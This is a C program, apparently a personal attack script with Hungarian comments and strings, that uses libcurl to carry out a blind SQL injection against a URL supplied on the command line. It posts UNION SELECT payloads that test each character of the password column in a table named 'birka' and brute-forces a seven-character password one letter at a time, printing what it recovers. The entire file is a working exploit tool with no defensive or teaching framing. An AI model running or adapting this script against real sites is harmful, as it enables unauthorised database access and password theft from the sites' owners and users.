#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <curl/curl.h>
#include <curl/easy.h>
#include <curl/types.h>

CURL *curl;
static char charmap[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

struct MemoryStruct {
  char *memory;
  size_t size;
};

static void *myrealloc(void *ptr, size_t size)
{
  /* There might be a realloc() out there that doesn't like reallocing
     NULL pointers, so we take care of it here */
  if(ptr)
    return realloc(ptr, size);
  else
    return malloc(size);
}

static size_t WriteMemoryCallback(void *ptr, size_t size, size_t nmemb, void *data)
{
  size_t realsize = size * nmemb;
  struct MemoryStruct *mem = (struct MemoryStruct *)data;
  
  mem->memory = (char *)myrealloc(mem->memory, mem->size + realsize + 1);
  if (mem->memory) {
    memcpy(&(mem->memory[mem->size]), ptr, realsize);
    mem->size += realsize;
    mem->memory[mem->size] = 0;
  }
  return realsize;
}


int response(char* url,char* params){
  CURLcode res;
  struct MemoryStruct result;
 
  result.memory=NULL;
  result.size=0;
  curl = curl_easy_init();

  if(curl) {
    curl_easy_setopt(curl, CURLOPT_URL, url);
    curl_easy_setopt(curl,CURLOPT_WRITEFUNCTION,WriteMemoryCallback);
    curl_easy_setopt(curl,CURLOPT_WRITEDATA,(void *)&result);
    curl_easy_setopt(curl,CURLOPT_POSTFIELDS,params);
    res = curl_easy_perform(curl);
    
    printf("%s\n",result.memory);     
    if (result.memory[5]!=')'){ 
      curl_easy_cleanup(curl);
      return 0;
    }
    else {
//    printf("%s",result.memory);     
      curl_easy_cleanup(curl);     
     return 1;
    }
  }
 
  return -1;
}

int main(int argc, char** argv)
{
  int i,j;
  char jelszo[7];
  static char param_format[]="p=100 union select 1,2,3 from birka where birka.id=2 and ascii(substring(birka.jelszo,%d,1))=%d";
  char params[1024];

  memset(jelszo,0,7);

  printf("Apa, kezdodik!!\n");
  for (i=1;i<=7;i++){ // ilyen hosszu a jelszo, normalis esetben ezt is ki kellene porgetni
  	for(j=0;j<strlen(charmap);j++){
      snprintf(params,1024,param_format,i,charmap[j]);
  	  if (response(argv[1],params)==1) {
        jelszo[i-1]=charmap[j];
        printf("%d: %c\n",i,charmap[j]);
        i++;
        j=0;           
      }
      sleep(1);
      
	  }
  }
  printf("Jelszo:%s\n",jelszo);
  
  return 0;
}